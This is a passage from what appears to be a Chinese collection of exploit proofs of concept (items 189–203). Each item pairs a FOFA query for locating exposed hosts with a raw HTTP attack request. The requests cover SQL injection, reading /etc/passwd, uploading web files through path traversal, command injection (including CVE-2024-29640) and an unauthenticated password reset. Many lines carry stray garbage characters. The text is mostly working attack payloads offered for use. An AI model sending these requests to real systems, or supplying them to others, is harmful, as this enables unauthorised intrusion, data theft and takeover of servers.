1 B1 Z) Z0 ~) }5 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- c) l* ?5 ?6 `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
% u# h: o' |4 ]. ]# d7 Q$ RConnection: close
: V# f! c3 z0 S# f

" V' d4 q' d( Y# Y9 a189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
, v6 V8 y0 T4 h1 U6 sUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 B2 g2 @/ B$ k5 M- t8 `2 yAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ u& y1 d. |0 e/ `2 }7 _
' \. z, I/ x' G3 N: }$ K
# U6 r9 X; |* B" E6 A190. 短视频矩阵营销系统 poihuoqu 任意文件读取
; [5 i: L# G$ S, x+ D) q& j( b- V- }FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
# s7 y- S% }0 e: u3 ?, UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
' B# _- w+ k- t- }" ?% y6 rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

9 A; A8 ^* z/ O9 ]poi=file:///etc/passwd

. o! @9 b2 n* _! l5 k" t
: b& ~2 J  U, ]3 E7 u; W0 {191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
0 Q/ z4 H4 j: S, r6 r) ]! vFOFA：body="/CDGServer3/index.jsp"
5 E8 I- ?# J3 E4 ?4 Y5 zPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
' \3 Z/ I7 k+ l. w* ?$ lHost: your-ip
8 y' z0 H+ K5 t9 m2 C6 a' I  qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 S8 E0 G1 B" `! |0 P
2 x5 h" P" C; ocommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

6 _; \% C( w6 X! J) z+ D
" v0 ~% x5 E+ n$ w+ |6 q2 l  _; m4 o192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
$ H( B6 b* I& W* @* W" `: bFOFA：title="用户登录_富通天下外贸ERP"
- o7 ^. d/ m! B7 P5 hPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
9 ]8 D8 h! p! fHost: your-ip
! d( H4 `9 h2 S6 s7 J% a" x' TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
( @* Q) Y+ |+ J1 L% P8 _Content-Type: application/x-www-form-urlencoded


4 z- A. U; e; a<% @ webhandler language="C#" class="AverageHandler" %>
# b- k8 {+ ]+ p- C; w+ T6 r$ qusing System;
using System.Web;
' \; {6 m- i7 S* d$ |& t8 Lpublic class AverageHandler : IHttpHandler
! i- `  ~6 x" v' g: K, {{
public bool IsReusable
) ?! j, v; h2 S9 W6 [( I: U+ P{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
' o$ |. e4 d& ]% R{
ctx.Response.Write("test");
7 Y! T, i' d8 T6 Z2 h/ F}
}
; k, \2 z. c& a
* g3 ?* I( K# M; f- B
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
9 S* E* ?( p' g" f0 YGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
3 B% n3 q# F) o8 }- R" hCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

9 }7 `) v6 ~7 P* J7 {* C1 I
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
, c2 w, F: J2 p# L0 YUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
( w- {4 i1 @5 b+ RAccept: */*
/ p2 X  [  V0 R  B2 ~9 @3 P% i( A7 Q- \Connection: close
Cookie: PHPSESSID=2333333333333;
% U! F6 k. g. KContent-Type: application/x-www-form-urlencoded
Content-Length: 84
; N  c+ l1 D* J
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

$ ?! g$ ~/ T; Z/ |
; u  f& y0 C- [( E& AGET /master/img/config HTTP/1.1
Host:
- Z- d1 w+ I) vUser-Agent: Mozilla/5.0
% O) a  Z; ?8 F& V+ M; ~7 |
" p/ S: i/ f$ K/ V- B. h
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
2 U$ Q$ D, m+ J( x% LFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
8 m7 i" [2 _; K$ g$ Z
& a* p$ }' m4 x- OPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
, q* O9 ]+ y2 f5 Z- P) JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 F. N! a. V* }/ ?) ^0 B2 C( TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ g2 s6 @1 S5 V' pAccept-Encoding: gzip, deflate
3 T$ H2 _( h) P* X' c8 b4 U2 AConnection: close
' z/ O; Y! V3 fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
3 E' y$ r- _6 k" ]& k: u: p9 H/ n------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
9 `" ^$ t7 [% u<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
( j8 o& f1 p& T! E: [2 |+ k {"iq":{"query":{"UpdateType":"mail"}}}
" ~3 I' a) x# [# x' S) ~$ [( p+ P+ H------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
6 K: v4 Q9 C- @7 r& Y- S- E
* P3 `0 }- u& {/ c0 a
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
' ^, c6 C( ?# n! \POST /send_order.cgi?parameter=operation HTTP/1.1
- E, e! D& s8 gHost: 127.0.0.1
9 P/ k+ W4 h- ?Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ {/ Y* h6 d6 TAccept: */*
) u4 _  \  z3 ]* U  j9 [Accept-Encoding: gzip, deflate
) P$ D6 ]! q  l. XAccept-Language: zh-CN,zh;q=0.9
7 r. \8 b) v  M1 D+ lConnection: close
( E$ V' a+ [& y. @4 M) tContent-Type: application/x-www-form-urlencoded
5 \& e) {6 a+ ?9 Y+ ^Content-Length: 68
. _6 M1 T* S4 s$ l5 Z! c3 `; W# d
  Y3 C' t4 m6 u' H; v{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
3 N- y/ A# O* A1 C( Q
9 z7 M" l# K; U/ D( r0 \9 v
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
. ?  |! |2 ?9 G+ |$ H# xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
0 |$ [) z* z1 _Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
( Q3 S$ [2 q) A" C  D; f5 ZHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
: O4 d) h( u& ^Content-Length: 45
Connection: close
0 r& l8 S8 V* q1 ^
2 i: W' Z- j. A6 @5 z& f1 A{"xgh":"test","newPass":"test666","email":""}



197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
6 W3 O* V6 j$ N# X) _5 C( ]( u# qGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
+ s# u) y3 I) R5 T9 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
$ n9 o' |- D/ g; J  Q/ gAccept-Encoding: gzip, deflate
4 @4 \. d1 S/ H$ ]' }Connection: close
* O) D' i3 r1 S/ `- ^0 F

0 N: s0 }5 F4 `, o" T* E
198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
* A5 t# d% |! r6 R  r2 rCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
' P- |; F4 J- H! H* V" wAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
% ^) R1 Q8 e$ M1 ~: i2 |$ A4 BConnection: close

1 D5 U- k! j* x& T/ ]9 j
  D! ^* c, H- ~5 ]4 ~199. cockpit系统assetsmanager_upload接口 文件上传

% X. p0 k6 \2 X* D& N4 a) O1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
! @( j3 a  H1 p8 S
* M# Z) c6 t' K9 q响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
! a( T8 N) z# w2 O% {. ?
2.使用刚才上一步获取到的jwt获取cookie：
0 i. V) I& C* G& T
POST /auth/check HTTP/1.1
9 V4 q2 Z; I5 K" E* H. KContent-Type: application/json

" K. a" u) a( C{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
/ G( R* [1 T6 b: z& P$ k7 `
% Q8 @; a7 j; n. v3 Y$ R, w. A响应：200，返回值:
: w: Y" D5 \0 [6 g5 s8 T5 ~! ESet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
( L. g$ L/ r6 s  O8 y8 GContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
& g# Z, |  `! i* p7 _( x+ e
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

/ y- i5 o8 U1 m2 a2 }+ I6 y<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
# u& x. X7 J: J3 cContent-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
: @& l0 Z7 w5 G! m* l

/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
; m$ l+ X$ F! n2 jCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
. y( X5 v( o$ |  y& D8 c' b6 uUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; Z; j; m$ o0 n" BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, [' X& B; L4 d4 `" N6 A
8 |$ ~2 y* Q2 a' I4 }4 o
& N7 l, m8 ^8 A201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
! m0 s2 ?+ j2 O2 e! p; Q7 bPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
/ c% u/ ^$ P2 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 p# G7 q: F  e9 p) {* D9 _  mAccept-Language: zh-CN,zh;q=0.9
. P( u+ n9 W- y7 `7 iConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

( A- E) q+ C' |, O7 d5 @7 c) f
) ?7 b" m3 T5 f2 k5 m, O6 s202. 微擎系统 AccountEdit任意文件上传
" p& h8 b2 _3 @8 ]1 VFOFA：body="/Widgets/WidgetCollection/"
9 c, i$ }' P) n/ [5 J* d8 T0 [5 Y获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
6 y( F5 Z8 C1 t2 T/ A) _Host: 滑板人之家
# B3 x$ @# `4 F/ V+ T2 ]0 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
. X8 b7 K% Q: H! S8 r8 u* u6 m2 c1 jAccept-Encoding: gzip, deflate, br
' [  [7 B) Q5 b) T0 L# C4 i2 ?3 bContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
6 g( P9 _) g& ]( @' jContent-Disposition: form-data; name="__VIEWSTATE"
: ^& @5 q6 r$ z5 C
) i4 h  F; F8 _3 l__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
- U+ [4 L. I; f- c
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
2 j$ B) ~+ ?8 ?- oContent-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

; C- @. f0 _0 ~上传图片
-----------------------------786435874t38587593865736587346567358735687
6 }% V* L# m/ C  _, U& AContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
( D1 Q& h4 S" k: F: n( j

9 c! `' D8 b  p, F-----------------------------786435874t38587593865736587346567358735687
: U* d3 t5 x, M9 k, v" t: D2 s  oContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

" }% M' [1 l9 \: j& z
-----------------------------786435874t38587593865736587346567358735687--
) [8 j! g" n6 K
0 W8 z" g1 J, v% r
/_data/Uploads/1123.txt
& r- L) h! ?  ]
203. 红海云EHR PtFjk 文件上传
7 N% j! W* u9 G. j: H, J6 kFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
, L( c# Q; y* O  PAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
- J$ J8 P8 h% j- hContent-Length: 210

' R3 b6 T4 ]: {------WebKitFormBoundaryt7WbDl1tXogoZys4
. M" \9 e$ }  z$ M; q- r; ]- QContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
) w! I' a! q: Z0 {( h2 J3 a) }
<% out.print("hello,eHR");%>
% ~9 P3 U# z! L/ a2 B* g------WebKitFormBoundaryt7WbDl1tXogoZys4--

( e7 p  i& v. [" \* _